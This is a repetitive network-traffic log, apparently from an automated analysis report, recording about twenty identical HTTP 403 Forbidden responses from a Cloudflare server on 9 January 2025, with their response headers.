Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=legHGRIwltbPsTZiCgisdSNWERWlktDZzEg3PbFheAcJtgnD1vngrhI8rrKHWHqT6J%2FeB25ukeSIV3acKInB0AMfx1jS1NdkHuearIoEY0xYAvKrNzsb9%2Bl6a4ij3kQ4WgrYf8jcujR8oIGc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bac4bbaa0f7c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1639&rtt_var=622&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1747456&cwnd=231&unsent_bytes=0&cid=2b1c56fb29ce7070&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2Bhe911N8Za5KOozwyYem%2BjprQ%2FNZBfCNCnvp4uzso05xKsUshRHogcHh9iXCVWT5wMWw%2B2gLI8LguY%2FsOhoolboWnXYn2EBchywNksTxAshvuL9EYpmBYe9DPe9Yz0Nfrqk%2BaVtGtJQJXVP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bac86ecf41bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1673&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1705607&cwnd=205&unsent_bytes=0&cid=c27112a51dfecb22&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s2V3qLBGRfu7XAHMuiQASGCA1H1BXNDKEXQmrI76FafrExlFBEZSsjj6FDWtK9Fzd5TjAx%2BLfAEc1UG5tlk0Rp7j2eA5by%2BenGJA74rbutaKm6vLEyErdfEBDKEX38zCYiYAnlfG356ngJ46"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bacc3cf118c0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1635&rtt_var=629&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1717647&cwnd=237&unsent_bytes=0&cid=15bd64624f89607f&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6rHE5w96EDEf%2Fywl3vJ2yiwQxzdAcZPksrUjtGHq3YBRZzmEk7%2FsQVV6JKbfDnzizo5j3b3sLqYK6XlACws89IgKj%2F1tye5sdc6bkn9BhyALo%2BYU39MSZPJhVi%2BCQGaA1%2B%2Bpl8LCIsVFRsIi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bad01b8242be-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2468&min_rtt=2465&rtt_var=930&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1173161&cwnd=213&unsent_bytes=0&cid=2872f907c983e116&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:03 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EDa%2Fyg2cYmzCXkrPiMiJIBeRRgdGooioDU5A%2BSehP4gaoWlyKyUN9RTx4rVcCu6W45hzKmuJKNyNsz8d4oHkqk1t9U8EG7xkKOsl0DvT5VmShWafYA0A8iH4M%2Fy4yU%2BfzsGaNtbrb0eixEgb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bad3dca8726f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2108&min_rtt=2050&rtt_var=810&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1424390&cwnd=172&unsent_bytes=0&cid=5412d499a56c3fba&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:04 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w4XsSFGhX%2FfLqwWQnCy39Qh94mXiPzs2DSwIsoldGsITR6z%2Bq2WaLlqp1bTOVhvL%2FUwqz89QwriPxIxjCDgHy%2FwHjijfFPrxbdzdiJQjY0q6v1KLeQFehpzRIdg3p2UrUyJbqxbgFSe%2FPr%2Bm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bad789f30c82-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1499&rtt_var=589&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1947965&cwnd=208&unsent_bytes=0&cid=9256dc429561e09c&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:04 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0FHtuAfvaHA55kObhnSS8Kt4qw63jikOAUvkgclua%2FkdOZ%2FQL67Da4dHBFBei20ZFaA9SmsYeE86Rz0vgYgXrPAA%2BJPsqUxmFY9UxYxSmoAxhhTD6h42JcxOFwaBagcyYTbU3jnpoqRCq1BB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2badb596e42c8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1695&min_rtt=1685&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1647855&cwnd=225&unsent_bytes=0&cid=ae1b4400ef67255b&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:05 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ikBfJJ0zKyreX9PLmoKXz1xmqDYsodzFu1ZB7YBRYreCeLS7RZH6cggXe3KFACnzHhAjcAvFOKknlW2YCWDsjhGATPb83V6KTLBaNyEXEQIGMaOve15nX5uy18zvgf2W3URKC388roRzfjr7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2badfa88772a5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2049&min_rtt=2026&rtt_var=776&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1441263&cwnd=212&unsent_bytes=0&cid=9cc90159d0e6b80f&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8FNs0cLJpYXyy4mMSOQXDM%2BH3Se0NVmaHcVQHW1AsKEh%2FbKAxMG3zPWZ5k%2F7X5FIXgCNwQr12pQl7J5X2a0PKiK%2F72y279b5bmYMTGwxBHR1Ui7mrAH6IYDYijYAf5Tf3janLN6EePam8VMK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bae3bd404334-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1566&rtt_var=598&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1814791&cwnd=224&unsent_bytes=0&cid=46a4f17d1a3b7ff0&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=72eCa2EdSDddtgubi0yPuQIHF6o7D%2BCA3V2CDMDtOF4Hg7VEOxRof2bJ2vJjndQxE%2Fgo%2BOfwfZuQpbqR6jyg%2BHU4k%2Fgalae61yAKSmECtt02g6lRBWBsFxyv3LTQ0LtzNFV98rNAUvZQaSxA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bae7bff3c409-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1614&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1746411&cwnd=167&unsent_bytes=0&cid=31725b401e9b53e5&ts=154&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YxYK2MEuL3wE87RBdaEnDbmmKY3Z%2BrWFSwp1Q%2FqciuNZyGO38hJKh6rok2X4Pq5gni4o8NmbFtSPV1PUyF3t%2F5OIbLntzYg2pztRPrZWn9rrxRloB%2B4VE463NvVAmpkBW9N%2FB1b8PdOhei12"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baeb894d437f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1696&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1659090&cwnd=79&unsent_bytes=0&cid=cfe47ec7fb44b764&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ILfbpdkjEeiIT22XWVA6vTHCTHB%2FwRf8AP3Jo6Z09OPnaS0sQS2NbswLM8Bl0iOauXS%2BTcMddz3o3ycLy94V06OSXlKzR3cp0mYwHcYHTZKJjUW%2Bo8%2BhNSYDPQQ4rR8KrC3lJNJd3k721IRt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baef4c120cba-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1527&min_rtt=1527&rtt_var=573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1908496&cwnd=219&unsent_bytes=0&cid=ea27136822c3a7e7&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:08 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wc6mVW%2FSnV0LUVuy%2F3u3jVSSYJP6rFsw%2Bad4eiKnAUD%2BATbB958d4%2B7WyVsm7Ew3SBfzfgey69R22KC4SYEKGxIdaSzcCUDB4mCPSSfbUYpf%2FT6lLIAUoRQYCb7Of7N29CPL%2B4p2Oobjf7Oh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baf31aca7292-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1976&min_rtt=1968&rtt_var=755&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1433480&cwnd=252&unsent_bytes=0&cid=257f790a2e66fe1b&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=29D%2Bg4g36W4q86Nr1j6cTbt4KDTPApXFzjzgZGcjFSZZmbnJuVxGzkjOnpriOW2HnoRQZiYqrMN2ezjnOFCNjhnROSXifhTzL8HHGa7KZs7NMF%2FgrCanrQcni14Pgfxi0gWvw%2FjpISzEEqcU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baf6fee57d1e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=1994&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1416100&cwnd=192&unsent_bytes=0&cid=3226ee4000619b48&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K4%2FqMhMwdX9XHERkVPAwkyBSQwY57lkKS3OVl5cpYRG2jQzYGXDntn6kPx7%2FIpEHRQAqcZGxzY7ovbGLx1bulG55OSE7IFm3d7G%2BBuZ7O30BRdJqceWlk7Fy2pJKIUEGgU1DUUID%2FIn4yZPo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bafabc71430e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1572&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1784841&cwnd=186&unsent_bytes=0&cid=9b484d29a961f413&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:10 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vP%2FvMfOEQ7ntYrYL%2Fs86nA93YWh0LpQzCRO0IPf17etHwMU8FMQ3C5mnRWg6wk6wIQmXMZqbpUAenXdY4B7pNmCxEIEcWpv5dghghMZRzuLMwr%2FOKuZGPAG5x9hWWSSgI87sny%2F3zpGOIa9R"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bafe5f478c78-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1980&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1438423&cwnd=236&unsent_bytes=0&cid=cdcdb719b8accbe7&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:10 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I1Ue9a8RLurfYFu1sBgy4OtGrJ63ZSw5vy9XfKK0zSZ6QHM9SDrro5P0yqqbB5FmhMJ%2B6BuySABXCLPGz2gB%2BbDytKEmA2%2BmBvvkImNh63gUNoJXm39UVZMbiP4gidtQJUtHeuI0aqm9xobw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb021f95236a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2059&min_rtt=1937&rtt_var=814&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1507485&cwnd=170&unsent_bytes=0&cid=e1440cff1c129ce6&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:11 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g44CdH3YMRi63du0TKKOLtGkR%2Fa8%2F71QUEJUhSve%2BCftoy7OIh%2BwF%2Fxvhd7FSRdDraiYt2YE2R8MHJCpqsTfiYFm6VZBm94ZtN6JVGxLN4u36b7PNOlSyNdjTFn0Y4HGAt%2FJCR0yTuuArTAh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb05ab8a15bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1460&min_rtt=1456&rtt_var=555&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1955793&cwnd=113&unsent_bytes=0&cid=e5276173111bb235&ts=122&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyISvCjr%2BfLvNksbmZdBcda98B53iRxRqQY7UGuJeen3W%2B2OxwR0WOvZQro3faxXjhMxEb5M6JFs%2Bz5KuAVvojp4au6ij13ATMqU806Dpw7scZrgZi8TWc5%2BsCi5Fzjb7qgVYrA4c7zC3Wxb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb096b8ef5f6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1536&rtt_var=589&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1837633&cwnd=183&unsent_bytes=0&cid=edd971304deb6497&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hMwyk7WD1V8HBoT2ZFs7vycdnV0XsiGKlizh6bGJuHbv8%2FkcN7B8L%2F0YeRTgtK4rj5WYT%2BiONAFUTHxcnWpLqwL1ac6CcbBMarfH3dYBTDCst5CHvA%2FAHfqu6YZCX4n4J6%2BmSmgvYI4bVDjz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb0d3cdc428b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1658&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1695702&cwnd=240&unsent_bytes=0&cid=ba030d4ba18b2943&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PtwklI8X5W47VRrWc%2FI%2FJAzkBaqkWNzVp%2F8mRE98BBpFmeJH6P0lUGJ4rjW68OFM2cPt7dcFCcAMc28ppGT6Ha%2BXUziA6dsjiZHsPIcR%2FSFKyANZMYDt3khMvqy4bcEC%2BpzJGM%2B2BjkQ%2FLah"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb10ef9941a3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1604&rtt_var=631&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1692753&cwnd=162&unsent_bytes=0&cid=0583352f30dab00f&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UNG6AUJPabHvtmbKTYPisL5l1FYNLcblnHjuRcSNdzzZiXgblaj3FLbluK1FSmGPpxDB8THwuNcJwT3NLSF1WobUpkkKQrMJgpDv%2F7YLyc4z25I61MfDQv2qAWd7miRl5SLgsY39w6JXsjBb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb14d919ef9f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=1960&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1489795&cwnd=219&unsent_bytes=0&cid=b47076175fa3e8ee&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:14 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y53vVC78Ti8o9wQsm6KjRCnMMbvGbzSutkO30upti4sZt%2BHz2fPxW6oRHAvKQ%2BcrlJilkfSJzPxf4yCtxweFMgfpY%2BgOJmjmp85qvUQVCARzAu6avlAsA4LmOPhYMzYOdA87f8H%2FVN7HGwRw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb18bdfac3fa-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1629&rtt_var=615&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1775075&cwnd=186&unsent_bytes=0&cid=e41d5e6c8e085301&ts=149&x=0"
